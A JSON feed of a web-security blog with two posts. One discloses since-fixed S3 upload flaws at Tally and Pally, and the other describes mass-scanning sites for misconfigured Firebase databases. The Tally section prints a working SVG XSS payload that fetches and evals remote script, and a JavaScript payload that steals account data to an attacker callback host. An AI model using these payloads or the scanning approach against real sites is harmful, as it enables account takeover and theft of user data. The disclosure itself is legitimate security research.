{"version":"https://jsonfeed.org/version/1","title":"env.fail","home_page_url":"https://env.fail/","feed_url":"https://env.fail/blog.json","description":"a shared blog, posting about infosec, mainly web security.","items":[{"id":"https://env.fail/posts/aws-s3/","url":"https://env.fail/posts/aws-s3/","title":"You Suck at Securing S3, Here's Why","content_html":"

TLDR:\nS3 presigned post or other ways of uploading files can easily be abused with XSS or unwanted paths for uploads

\n
\n

So you might have recently seen all of my (Eva) tweets about S3 upload, and how many companies can't stop messing it up.\nBelieve it or not, this is a much more widespread issue than even my tweets make it out to be.

\n

This article covers two common vulnerabilities I've found with S3 upload/presigned post.

\n

Who doesn't love a good XSS?

\n

You probably saw this one coming. Companies make a files.somecompany.com or cdn.somecompany.com subdomain for S3, and when combined with poor handling of content types on a upload endpoint, we can upload HTML files, and if their cookies are set inproperly, we could use this to takeover accounts.

\n

Exhibit A: Tally

\n

Tally is a modern Google Forms alternative which allows form creation with images, for this reason (and also profile pictures), they need a way to store files.

\n

They chose a custom-ish endpoint that uploads a file for you to their S3, after performing checks. Sounds good, right?

\n

Not so fast, heres what the request for uploading something looks like:\n\"A

\n

Looks interesting, what if we tried an HTML file instead?

\n
<h1>Hello</h1>\n<img src=x onerror="alert(1)"></img>\n
\n

Now lets try to upload it!

\n

\"A

\n

\"A

\n

Looks like it didn't work. Lets look at the DOM.

\n

\"Devtools

\n

Hmm, it looks like Tally sanitized our XSS payload out, so they thought of this. But its likely not foolproof. Lets try uploading a SVG/XML file instead.

\n
<xml>\n    <text>\n        hello\n        <img\n            src="1"\n            onerror="fetch('ATTACKER_URL/script.js').then((a) => a.text().then((b) => eval(b)))"\n            xmlns="http://www.w3.org/1999/xhtml"\n        />\n    </text>\n</xml>\n
\n

This, actually works. This allows me or a bad actor to get XSS on files.tally.so, which has the session cookie in scope, but its HTTP only. How can we get the cookie when its http only?

\n

Well it turns out Tally has an endpoint for us that lets us get a authentication token from a refresh cookie, as its web app also needs this token for the API, so this is intentional.

\n

Heres the final payload served by my webserver:

\n
fetch("https://api.tally.so/me", { credentials: "include" }).then((a) =>\n  a.json().then(async (b) => {\n    await fetch("<ATTACKER_CALLBACK>", {\n      method: "POST",\n      body: JSON.stringify(b),\n      headers: {\n        "Content-Type": "application/json",\n      },\n    });\n\n    window.location.replace("https://tally.so");\n  })\n);\n
\n

And heres what my silly little webserver gets when someone clicks the link:

\n
{\n  "id": "no :3",\n  "firstName": "Eva",\n  "lastName": "Ivy",\n  "email": "xyzeva@riseup.net",\n  "avatarUrl": "http://localhost",\n  "fieldOfWork": "STUDENT",\n  "organizationRole": null,\n  "discoveredVia": "OTHER",\n  "isBlocked": false,\n  "isDeleted": false,\n  "createdAt": "2024-02-24T09:26:03.000Z",\n  "updatedAt": "2024-02-24T11:01:01.000Z",\n  "organizationId": "no :3",\n  "fullName": "Eva Ivy",\n  "hasTwoFactorEnabled": true,\n  "authorizationToken": "no :3",\n  "isOrganizationOwner": true,\n  "organizationOwner": {\n    "id": "no :3",\n    "firstName": "Eva",\n    "lastName": "Ivy",\n    "email": "xyzeva@riseup.net",\n    "avatarUrl": "http://localhost",\n    "fieldOfWork": "STUDENT",\n    "organizationRole": null,\n    "discoveredVia": "OTHER",\n    "isBlocked": false,\n    "isDeleted": false,\n    "createdAt": "2024-02-24T09:26:03.000Z",\n    "updatedAt": "2024-02-24T11:01:01.000Z",\n    "organizationId": "no :3",\n    "fullName": "Eva Ivy",\n    "hasTwoFactorEnabled": true\n  },\n  "hasActiveSubscription": false,\n  "hasLifetimeAccess": false,\n  "canAccessBilling": false,\n  "hasAccess": true,\n  "hasChurned": false,\n  "excessUsage": null\n}\n
\n

Cool, one click full pwn of your tally account! Isn't that just really good?

\n

While no bounty was awarded for this, I can't blame them, theyre a startup and still fixed the issue very quickly.

\n

S3 paths are tasty

\n

Some services allow the user to control the path/key of the file to upload while uploading, common libraries also do this. This is a problem when the server doesn't check if the file already exists, allowing the client to override other peoples files.

\n

Exhibit B: Pally

\n

...yes, I did choose this specific example to make it rhyme with Tally.

\n

Anyway, Pally is a way for streamers to setup a donation page and split it across their team, such as their mods. They have channel banners & channel profile pictures, so they need a way to store data.

\n

They chose to use S3 to do this, here is what a request to upload a image looks like:

\n

\"A

\n

This then returns a presigned post URL, the key is randomly generated by the client, so what happens if I change the key into something thats already used by another user?

\n

Well, thats exactly what I did, and it worked. So for an entire minute, Thor (PirateSoftware)'s profile picture on Pally was a Gnome.

\n

They also didn't offer a bounty for this, but they are also a smaller startup, so thats fair.

\n

How 2 fix plz halp!!

\n

Simply avoid the examples above, set your cookies properly, don't allow people to control the key.

\n

In conclusion, S3 is pretty hard to do, because of the common pitfalls people come across while using third party libraries: Ignorance.

\n

This is something we extensively covered in the past. And S3's lack of (good) docs amplifies this issue.

\n

That's too hard can't someone else do it for me?

\n

There's many products available to simplify S3 (or redo!), heres a few:

\n\n","date_published":"Wed, 03 Apr 2024 00:00:00 GMT"},{"id":"https://env.fail/posts/firewreck-1/","url":"https://env.fail/posts/firewreck-1/","title":"900 Sites, 125 million accounts, 1 vulnerability","content_html":"

TLDR:

\n

- Firebase allows for easy misconfiguration of security rules with zero warnings

\n

- This has resulted in hundreds of sites exposing a total of ~125 Million user records, including plaintext passwords & sensitive billing information

\n
\n

After the initial buzz of pwning Chattr.ai had settled down, we set to work on scanning the entire internet for exposed PII via misconfigured Firebase instances.

\n

Attempt 1

\n

MrBruh wrote up a rudimentary scanner in Python that would check for Firebase configuration variables in websites or their loaded .js bundles.

\n

It worked... until it didn't.

\n

Turns out that a Python program with ~500 threads will start to chew up memory over time. For us that meant it was OOM'ing within an hour of starting it.

\n

Attempt 2

\n

Logykk rewrote the scanner in Go, unlike the prior it didn't seem to leak memory.

\n

Our initial estimate was that this was going to take ~11 days to scan through the 5 1/2 Million domains, but it turned out to be closer to 2-3 weeks which made this very much a waiting game.

\n

Manually checking every domain

\n

We first went and started manually looking at each entry in the 550k line text file, seeing if we could find anything interesting, this was time consuming and very repetitive.

\n

In the end, we went through quite a lot of it and had 136 sites and 6.2 million records, but we all knew that we needed to do something fully automated, because this was taking way too long.

\n

Catalyst

\n

Once we had acquired our shortlist of potentially affected sites we ran it through a secondary scanner that Eva had made called Catalyst.

\n

This would take the site (or .js bundle) we found, then automatically check for read access to common Firebase collections & any that were explicitly mentioned in the JavaScript itself.

\n

When it found read access to a collection it would attempt to calculate the impact of the exposed data by gathering a sample of 100 records, checking the type of information contained and extrapolating that by the total size of the collection.

\n

We then, decided the database to use to store all of these results, and we chose Supabase (which uses PostgreSQL under the hood) a open source Firebase competitor, just for the irony.

\n

Once all that had been completed the data was formatted and uploaded to a private database table.

\n

\"A

\n

The Numbers

\n\n

These numbers should be taken with a grain of salt. They are likely larger than shown here.

\n

The Shortlist (of affected sites)

\n

1. Silid LMS

\n

\"SilidLMS,

\n\n

2. Online gambling network

\n

\"Carousel

\n\n

3. Lead Carrot

\n

\"Online

\n\n

4. MyChefTool

\n

\""More

\n\n

The aftermath

\n\n","date_published":"Mon, 18 Mar 2024 00:00:00 GMT"}]}